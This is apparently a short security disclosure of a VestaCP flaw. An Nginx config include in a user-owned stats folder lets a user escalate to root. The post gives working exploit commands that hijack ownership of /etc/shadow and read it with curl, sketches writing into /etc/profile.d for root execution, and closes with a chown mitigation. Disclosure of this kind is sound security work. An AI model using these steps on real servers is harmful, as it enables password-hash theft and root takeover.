VestaCP currently has a bug that allows root privilege escalation using PHP.

Background:

Even with stats disabled, the following line is found in /home/<user>/conf/web/nginx.conf :

include /home/<user>/web/<domain>/stats/auth.conf*;

/home/<user>/web/<domain>/stats/ is owned by <user> but isn't writable. Since we own it, we can simply change the permissions so we can put anything we want in there. From there we can create a configuration file that will be loaded by Nginx and change the ownership of arbitrary files on the system.

Exploit

With PHP, execute (running as <user> by default):

chmod u+w /home/<user>/web/<domain>/stats/ echo 'client_body_temp_path /etc/shadow; location /vstats/steal { alias / ; }' > /home/<user>/web/<domain>/stats/auth.conf.evil

Once Nginx is reloaded/restarted, /etc/shadow will be owned by nginx, which can then be read by using curl http://<domain>/vstats/steal/etc/shadow . This is due to the client_body_temp_path directive which causes Nginx to change the owner of the target file from the master process (running as root). For more information, see my earlier blog post.

Beyond leveraging this to steal the shadow file, you can gain root privileges by editing system files that execute as privileged users. For example, files in /etc/profile.d

The machinery looks something like this:

client_body_temp_path /etc/profile.d/vim.sh; location /evil { error_log /etc/profile.d/vim.sh; }

Once Nginx is restarted, you can triggers errors using curl (such as 404s) and attempt to have it write something that bash will execute. This is largely a trial and error process and is left as an exercise for the reader.

Mitigation

Simply change the owner of the stats folder to mitigate this exploit (this may stop stats from updating):

chown root:root /home/*/web/*/stats

Disclosure Notes